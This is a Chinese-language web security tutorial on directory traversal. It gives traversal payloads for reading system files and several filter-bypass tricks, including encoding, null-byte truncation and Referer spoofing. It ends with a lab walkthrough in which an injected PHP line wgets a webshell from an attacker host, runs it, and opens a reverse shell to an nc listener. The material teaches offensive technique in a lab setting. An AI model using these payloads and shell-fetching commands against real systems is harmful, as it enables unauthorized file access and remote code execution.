web安全目录遍历漏洞学习及绕过
本文首发:FreeBuf
原文地址:web安全目录遍历漏洞学习及绕过
目录遍历漏洞介绍
路径遍历攻击(也称为目录遍历)是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线(…)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。
需要注意的是,系统操作访问控制(如在微软windows操作系统上锁定或使用文件)限制了对文件的访问权限。
这种攻击也称为 “点-点斜线”、“目录遍历”、“目录爬升”和“回溯”。
搭建一个存在目录遍历漏洞的虚拟机,做个实验。
使用Owasp zap进行漏洞扫描,挖掘漏洞。
然后复制它的URL到浏览器查看该漏洞
目录遍历的漏洞通过../../../
这样的形式来进行目录读取服务器中的文件,../../../../
越多多好,因为在终端中,../
是返回上一级目录,到根目录使用../
会返回当前页面。
一般发现目录遍历的漏洞的探针,也就是测试的时候往往是使用这样的payload
http://www.xxxx.com/xxx.php?page=../../../../../../../../../../../../../etc/passwd
看是否会返回该文件的内容,这就造成了目录遍历的漏洞产生。
还可以本地利用PHP环境搭建一个读取文件的脚本。来实现目录遍历。
<?php
$dir_path=$_REQUEST['path'];
$page=scandir($dir_path);
var_dump($page);
?>
一些绕过方式
- 加密参数传递的数据
有的网站程序传递参数后会进行base64加密(当然也会有其他加密),导致我们传递的参数无法解析,所以就无法利用目录遍历,而绕过方式也很简单,就是先对参数进行base64加密后再进行传参。如:?page=bTByZS50eHQ=
- 编码绕过
进行传参时将参数进行编码,实现绕过,比如URL编码。?page=%6D%30%72%65%2E%74%78%74
- 目录限定绕过
有些Web应用程序是通过限定目录权限来分离的。可以使用一些特殊的符号~
来绕过。比如提交这样的xxx.php?page=~/../boot
。就可以直接跳转到硬盘目录下。 - 绕过文件后缀过滤
一些Web应用程序在读取文件前,会对提交的文件后缀进行检测,攻击者可以在文件名后放一个空字节的编码,来绕过这样的文件类型的检查。
比如:../../../../boot.ini%00.jpg
,Web应用程序使用的Api会允许字符串中包含空字符,当实际获取文件名时,则由系统的Api会直接截短,而解析为../../../../boot.ini
。
在类Unix的系统中也可以使用Url编码的换行符,例如:../../../etc/passwd%0a.jpg
如果文件系统在获取含有换行符的文件名,会截短为文件名。也可以尝试%20,例如:../../../index.php%20
- 绕过来路验证
Http Referer : HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
在一些Web应用程序中,会有对提交参数的来路进行判断的方法,而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可,这主要是原因Http Referer是由客户端浏览器发送的,服务器是无法控制的,而将此变量当作一个值得信任源是错误的。
还有就是web服务器配置不当而造成的目录遍历漏洞,
可以使用谷歌语法进行查找。
intitle: index of
随便选择一个打开就是了。
防御
可以对提交的参数进行多次编码或者多种加密。上面的几种绕过方式进行组合使用。
如何利用目录遍历上传shell并拿到一个低权限
利用目录遍历漏洞获取shell思路
- 上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux中获取反弹shell;
需要和其他知识相结合,这里直接略过简单步骤
略过的操作:探测敏感目录,弱口令登录,查找利用的webshell上传点。
使用/usr/share/webshells/php
中的反弹的webshell
将webshell中的IP和要监听的端口改一下
$ip = '10.0.2.4'; // CHANGE THIS
$port = 4444; // CHANGE THIS
然后进行利用,建数据库数据表,
然后插入字段
写入<?php system("cd /tmp;wget http://10.0.2.4:8000/webshell.php;chmod +x webshell.php;php webshell.php");?>
解析:切换至tmp目录,然后在kali的服务器中下载webshell,然后赋给文件执行权限,再执行。
可以看到已经写入了数据。插入了命令
创建服务器用来让靶场下载webshell
同时开启nc侦听端口
上面这都是前置设置,这些设置完成后,就可以执行目录遍历漏洞下载并执行shell了
/usr/databases/shell.php
这个是命令所在的文件,使用目录遍历漏洞访问并执行。
payload
http://10.0.2.5/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Fdatabases%2Fshell.php
拿到一个较低权限的shell
如何将此类低权限提升至root权限。我另写了一篇是关于www-data提权的文章。